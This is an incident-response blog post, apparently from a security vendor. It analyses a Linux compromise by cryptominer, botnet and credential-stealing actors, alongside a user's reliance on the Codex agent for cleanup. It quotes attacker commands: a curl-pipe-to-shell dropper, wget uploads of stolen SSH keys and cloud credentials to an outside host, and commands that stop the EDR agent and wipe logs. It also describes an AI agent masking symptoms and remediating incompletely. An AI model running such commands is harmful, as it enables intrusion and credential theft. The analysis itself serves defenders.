Codex Red: Untangling a Linux Incident With an OpenAI Twist (Part 2)

Acknowledgments: Special thanks to Tanner Filip and Lindsey O’Donnell-Welch for their contributions to this blog and research.

Recently, the Huntress Security Operations Center (SOC) came across a strange incident: a developer was using OpenAI's Codex AI agent to assist in creating two applications – but they were also using Codex to respond to malicious behavior on their Linux system. As we outlined in the first part of our two-part blog series, Codex helped mask symptoms, such as the loud fan noise from a cryptominer – but it failed to remediate the threat fully, and complicated triage for the SOC due to the noise from the commands it generated.

Then, the user installed the Huntress agent, and the SOC kicked into gear.

Our story picks up from the SOC’s perspective as they embarked on their investigation into this incident, navigating a complex investigation with three simultaneous storylines: a legitimate developer building web applications, multiple threat actors deploying various payloads and persistence mechanisms, and an AI agent creating plenty of noise in the background.

Key takeaways

• SOC analysts found at least two distinct threat actors had simultaneously compromised the endpoint. The first (“Actor A”), which was discussed in part one of this blog series, involved a cryptominer. The second, which was tracked in two potentially disparate clusters of activity, involved a botnet with several components (“Actor B”) and a credential harvester (“Actor C”). 

• Threat actors deployed eight different persistence mechanisms, including cron jobs, systemd services, and UDEV rules. They were also able to exfiltrate 15 categories of sensitive data, including SSH keys, cloud credentials, API tokens, and system metadata.

• Upon further investigation, we found that the activity is consistent with exploitation of CVE-2025-55182 (also known as "React2Shell"). One of the user's applications (which was ironically vibecoded) was running Next.js 15.4.6 and React 19.1.0, both in the affected range.

• All the while during the incident, the end user continued relying on Codex for DFIR and remediation assistance. This incident highlighted the limitations of relying solely on AI-driven security responses and the need for comprehensive Managed Endpoint Detection and Response (EDR) telemetry and human expertise.

In part one, we saw how Actor A's cryptominer - the /var/tmp/systemd-logind binary - had been silently mining Monero to a private pool at 62.60.246[.]210:443 since boot. When the user complained about loud fans on March 19, Codex only masked the symptoms by CPU throttling rather than diagnosing the threat, and the cryptominer remained active. 

New quest: the SOC has entered the chat

As we mentioned in the first part of this blog series, on March 20, shortly after the Huntress agent was installed mid-compromise, the SOC responded to a series of alerts on the endpoint.

Figure 1: Detections that fired off after the Huntress agent was installed

While working through the investigation, SOC analysts were able to figure out that some of the commands in Figure 1 above were actually legitimate. They were Codex commands, from the legitimate end user trying to troubleshoot strange behavior on the system, that were picked up by EDR detections. 

However, the other detections were, in fact, malicious. As SOC analysts dove deeper into them, they uncovered multiple adversaries targeting the victim system.

Here is where our story picks up again.

Player two has joined: enter a multi-revenue botnet

As seen in Figure 1, after the agent was installed Huntress immediately detected that the attacker had executed the following:

curl -fsSLk http://162.55.234[.]175:4082/workersh | sh

This was actually a dropper from the second threat actor (we’ll call them Actor B), which then executed the following:

1. Cron persistence (30 3,15 * * *) running payloads installsh (miner installer) and dnser (an ELF binary) twice daily
2. systemd user services (.arpupdate.service, .dnsupdate.service) running from /dev/shm/
3. Direct execution deploying: XMRig cryptominer (fkkkf), as well as residential proxy and bandwidth-selling services (EarnFM, Repocket). Notably, there were key differences between this cryptominer activity and the one from Actor A, including the mining pools (while Actor A’s malware was mining Monero to a private pool at 62.60.246[.]210:443, Actor B’s miner fkkkf connected to pool.supportxmr[.]com:3333).

This script dropped all the files the threat actor needed, then set up persistence to run what appeared to be a multi-revenue botnet. The botnet included a combination of XMR mining (fkkkf), residential proxy services (Repocket), and bandwidth selling (EarnFM).

Additionally, the actor executed multiple log cleanup commands (i.e. history -c 2>/dev/null), which can be seen in Figure 1.

About an hour after the first miner was removed by Codex, a base64-encoded payload then ran via an activity cluster that we are tracking as Actor C. Notably, while the activity in this cluster came from the same IP address as that of Actor B (147.45.41[.]25), indicating the two clusters may be affiliated, the tradecraft here began to look markedly different. 

Achievement unlocked: mass data exfiltration

Figure 2: Decoded payload downloading next stage from 147.45.41[.]25

This script is a dropper designed for reliability across different Linux environments. It first unset LD_PRELOAD and LD_LIBRARY_PATH to evade detection and prevent interference from library injection. The script then attempted to download content from 147.45.41[.]25 using five different fallback methods: a custom netcat-based HTTP client, wget, curl, Python's urllib, and finally Perl's socket library. Each method tried until one succeeded, ensuring the payload executed even on minimal or hardened systems where standard tools may be unavailable.

Once downloaded, the content was immediately piped to a shell for execution, with all errors suppressed. This was Actor C's dropper that then fetched the next payload.

The ensuing payload is a cross-platform persistence script. The script attempted privilege escalation via passwordless sudo, then deployed multiple persistence mechanisms: /etc/cron.d/auto-upgrade (a malicious cron job disguised as system updates, executing daily at midnight to download payloads from 0x1x2x3[.]top C2), and UDEV rules that triggered on network interface changes to re-execute the malware. 

It also included anti-competitive features that scan /proc for rival cryptominers on port 8235 and kill them, plus file immutability locking (chattr +i on Linux, chflags uchg on BSD/macOS) to prevent removal. 

Separately, the threat actor deployed yet another XMR cryptominer (FH8a7d7M) to /tmp/; this one connected to a private mining pool at 57.129.119[.]218:19999.

With persistence and C2 established, the threat actor first attempted to stop the Huntress agent (via systemctl stop huntress-updater.service), and then we saw mass exfiltration of sensitive files. The script /tmp/.e2933fc3b.sh (SHA256: 781c19b56fbdb17284707f9026e107f639e5447df7df3b248a5d5a50c4b0806c) performed the collection.

Figure 3: Attempt to stop Huntress agent, and portion of data exfiltration

• SSH materials: ~/.ssh/ directory (private keys, config, known_hosts, authorized_keys)

• Shell history: ~/.bash_history, ~/.zsh_history

• Cloud credentials: ~/.aws/, ~/.kube/config

• Application secrets: .env files in /home/[REDACTED-USER]/[REDACTED-APP]/ and project directories

• Git credentials: .git-credentials

• API tokens: Token files and bearer tokens from application configs

• System metadata: /proc/ directory (process info, cmdlines, environment variables)

• Cron config: /var/spool/cron/crontabs/[REDACTED-USER]

• Cloud metadata: Live queries to 169.254.169.254 (AWS/Azure/GCP metadata endpoints)

• Host information: System details (uname, hostname, user info, network config)

• File inventory: Generated list of all discovered sensitive files (found.txt)

• Completion marker: Script-generated completion flag (done.txt)

All 15 files were exfiltrated via wget --post-file to 172.86.127[.]128:8080.

Difficulty increased: threat actor returns

On April 6, Huntress detected a barrage of activity from this impacted Linux environment:

• 28+ repeated wget downloads of installsh to /tmp/corn
• 16+ repeated wget downloads of dnser to /tmp/defunctr
• All from 162.55.234[.]175:4082
• All executed with -q flag (quiet mode)

Figure 4: Example of follow-on activity on April 6

The attacker again attempted to disable the Huntress EDR agent using systemctl stophuntress-updater.service. Five minutes later, they cleared bash history with history -c, then executed a base64-encoded payload that triggered mass log clearing across the system.

The attacker wiped over 40 log files using targeted rm -f commands, erasing auth logs, kernel logs, systemd journals, firewall logs, package manager logs, CUPS logs, and unattended-upgrades logs. Huntress detected each deletion, but the forensic timeline was destroyed, forcing the SOC to rely solely on detected signals and process history. 

Game over? Insert coin to continue

Throughout this investigation, one question remained unanswered. How did the threat actors originally get in? Because the Huntress agent was installed mid-compromise, we never had full visibility into the initial access vector. The earliest forensic signals we could rely on were those captured after malware deployment, leaving the true origin of the intrusion unknown.

But as we were finalizing this blog, on April 16, the rebuilt host was again reinfected. The activity is consistent with exploitation of CVE-2025-55182 (also known as "React2Shell"), a critical CVSS 10.0 unauthenticated remote code execution vulnerability in the React Server Components Flight protocol. One of the vibecoded applications was running Next.js 15.4.6 and React 19.1.0, both in the affected range.

The attack followed a now-familiar pattern. A shell process downloaded and executed a script directly from 162.55.234[.]175:4082, the same Actor B infrastructure seen throughout this incident, confirming this is the same threat actor returning to the host after it was remediated. Furthermore, the same base64-encoded infostealer payloads followed, pulling further malware from 172.245.159[.]216, again consistent with previously observed infrastructure.

The reinfection shows that incomplete remediation advice, whether AI-driven or otherwise, leaves residual footholds. As the underlying vulnerability was never patched, the application remained exposed, and the same threat actor walked back through the same door. Until the root cause is addressed, detection and cleanup alone are not sufficient.

New minigame: untangle the threat actors

From the SOC perspective, this incident presented a unique challenge. Analysts needed to sort through three simultaneous storylines: a developer creating web apps and at least two threat actors dropping payloads and persistence – all while an AI created plenty of noise in the background.

Below is a breakdown of some of the SOC’s overall findings once the investigations had been fully untangled. 

Actor A (Crypto Miner)

• Old compromise, likely from 2024 (binary compiled Aug 2024)

• Simple @reboot crontab persistence

• Private mining pool at 62.60.246[.]210:443

Actor B (Multi-Revenue Botnet)

• Infrastructure: 162.55.234[.]175:4082 (Hetzer, Germany)

• Revenue streams: XMR mining, bandwidth selling (EarnFM), residential proxy (Repocket), dnser binary (purpose unknown, possibly DNS tunnel)

• Monero wallet: 48jWtAsev4V9iDeN5TK5PQVNGhnJJR35yiJfJ1tbA3f73ZCiiarUxc4RMU4hNMsd1Udjbe1tCiBeFbx216UXXJzLB98dmJR
• Pool password: "poop"
• EarnFM API key: 3090ae2d-e49e-4626-a752-9222911f4970
• Repocket email: workoutoffice@protonmail[.]com

• Persistence: eight distinct mechanisms 

• user cron, systemd user services, watchdog scripts, miner daemonization, dropper re-execution, UDEV rules, root cron if sudo available

• Anti-competitor moves: miner installer (pkill -9 xmrig) creates watchdog script (/dev/health), aimed at killing rival miners every 45 seconds

Actor C (Credential Harvester, likely affiliated with Actor B)

• Staging IPs: 147.45.41[.]25:80 (shared with Actor B), 172.245.159[.]216:80 

• Exfiltration server: 172.86.127[.]128:8080

• C2 domain: 0x1x2x3[.]top

Codex's report card: “C+”

This case demonstrates that while AI can be a valuable tool in the cybersecurity toolkit, it cannot replace the experience, contextual awareness, and investigative judgment of human security professionals. Figure 5 shows the “wins” and “misses” of Codex from this incident. 

Figure 5: Codex’s wins and fails in this incident

Here are some of the main limitations on Codex leading to its “misses.”

1. Timing and visibility gaps: AI tools can only respond to what they can observe at the moment of execution. The credential exfiltration happened during a period when Codex wasn't actively monitoring; this is why live telemetry is critical.
2. Privilege constraints: Codex operated without root access and likely couldn't inspect /etc/cron.d/, UDEV rules in /etc/udev/rules.d/, or systemd system services. 
3. The race condition: While Codex was killing miners and removing crontabs, Actor B's workers' payload was simultaneously installing multiple different persistence mechanisms. By the time the "remediation" was completed and Codex was happy, a second attacker had already re-established control through channels Codex had never checked.

Leaderboard MVP: the SOC analyst

This incident is a critical lesson about the role of AI in cybersecurity and DFIR investigations.

AI is an assistant, not a replacement: Codex successfully identified some threats and implemented useful security hardening measures. However, it lacked contextual awareness, privileged access, continuous monitoring capabilities, and a background in threat intelligence needed for comprehensive incident response.

Additionally, the user’s use of Codex led to increasing complexity for SOC analysts. They needed to spend time distinguishing between legitimate Codex-generated commands and actual attacker activity, as the Codex command looks remarkably similar to attacker reconnaissance.

Live telemetry is critical. With logs wiped and the agent installed mid-compromise, we were limited in our investigation. The only way the SOC could reconstruct this incident was through real-time EDR telemetry since the agent's installation and the few logs that remained. Without live process monitoring and command-line detection, this investigation would have been nearly impossible.

Finally, the context provided by understanding what the user prompted Codex to do was essential for distinguishing its activity from attacker commands. This required reviewing Codex session logs, chat history, and correlating timestamps. It was a necessary but time-consuming exercise in modern-day forensics.

Conclusion

This incident represents a preview of what future security investigations might look like. As more users adopt AI assistants and attempt to use them for security troubleshooting, SOC analysts will increasingly need to deconflict legitimate AI-generated activity from actual threats.

The endpoint in this incident was ultimately secured through a combination of:

• Real-time managed EDR telemetry from the Huntress agent

• Expert SOC analysis untangling multiple simultaneous threat actors

• Comprehensive cleanup addressing all persistence mechanisms

• Security hardening recommendations for the partner, including updating the version of React/Next.js

While this incident shows that AI assistants can help identify some issues and recommend remediations, comprehensive DFIR investigations require specialized tools, continuous managed EDR telemetry, and above all human experience and expertise. When in doubt, leave it to the pros before the threat actors have time to dump all your credentials and establish eight different ways to return.

Indicators of Compromise